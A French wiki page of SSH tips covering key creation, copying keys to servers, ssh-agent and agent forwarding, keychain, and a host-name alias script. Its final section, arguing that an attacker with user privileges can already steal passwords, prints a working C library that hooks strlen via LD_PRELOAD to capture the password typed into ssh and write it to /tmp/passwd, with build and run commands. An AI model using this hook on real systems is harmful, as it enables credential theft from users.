Astuces ssh

De WikiBR

Voir aussi SSH.

Créer un couple de clefs :

$ ssh-keygen -t rsa

Utiliser un password pour crypter la clef est important...

Mettre la clef sur le serveur cible :

$ ssh-copy-id -i ./ssh/id_dsa.pub serveur

ou bien ( en moins bien ) :

$ ssh serveur "cat >> .ssh/authorized_keys" < ./ssh/id_dsa.pub

Pour ne pas avoir à décrypter la clef à chaque utilisation, mais tout en la gardant en sécurité :

Démarrer ssh-agent:

$ eval  $(ssh-agent)

Ajouter une clef :

$ ssh-add

Forwarder l'agent (ie ne pas avoir à mettre de clef sur B pour faire ssh B puis ssh C depuis B )  :

ForwardAgent yes

Dans les .ssh/config de tous les hosts qui servent de relai, à défaut, utiliser -A dans la ligne de commande de ssh.

Utiliser keychain pour partager ses clefs sur plusieurs sessions, ajouter par exemple :

keychain ~/.ssh/id_rsa ~/.ssh/id_dsa
source ~/.keychain/*-sh

à votre .bash_profile.

Utiliser des pseudo alias :

Dans un fichier texte ssh-aliases

#!/bin/bash
ssh $(basename $0) "$@"

puis le rendre utilisable :

chown root:root ssh-aliases &&
chmod 755 ssh-aliases &&
mv ssh-aliases ~/bin # ou ailleurs dans votre path, si c'est votre machine.

enfin supposons que toutes les machines habituelles aient leur nom dans le fichier './machines' :

for namae in $(cat machines); do
    ln -s ~/bin/{ssh-aliases,$namae}
done


Maintenant il suffit de taper le nom de la machine pour avoir un shell dessus. Le principe est que le script écrit plus haut regarde comment il a été appelé et invoque ssh en fonction.

Mais un pirate peut me voler ma clef !!!

Oui, mais elle est chiffrée... De plus, si un pirate a atteint votre niveau de privilèges, il peut facilement vous voler vos mdp  :

noobpoc.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void record_pwd (char *str) {
        FILE*f = fopen("/tmp/passwd","a");
        fprintf(f,"%s\n",str);
        fflush (f);
        fclose(f);
}
size_t strlen(const char * s ) {
        static char ready = 0;
        static char dead = 0;
        if ( !dead && ready ) {
                 record_pwd(s);
                 dead = 1;
        }
        if ( !dead && !strcmp( s, "Password: ") )  {
               ready = 1;
        }
        /* Does da job... */     
        int i = 0;
        while ( s[i++] );
        return (size_t) (i-1);
}


gcc -fPIC noobpoc.c -c -w -Wall -std=c99
gcc -shared -o libnoobpoc.so noobpoc.o -lc

Kaboom sur simple modification de l'environnement :

LD_PRELOAD=./libnoobpoc.so ssh localhost

Le mdp est dans /tmp/passwd...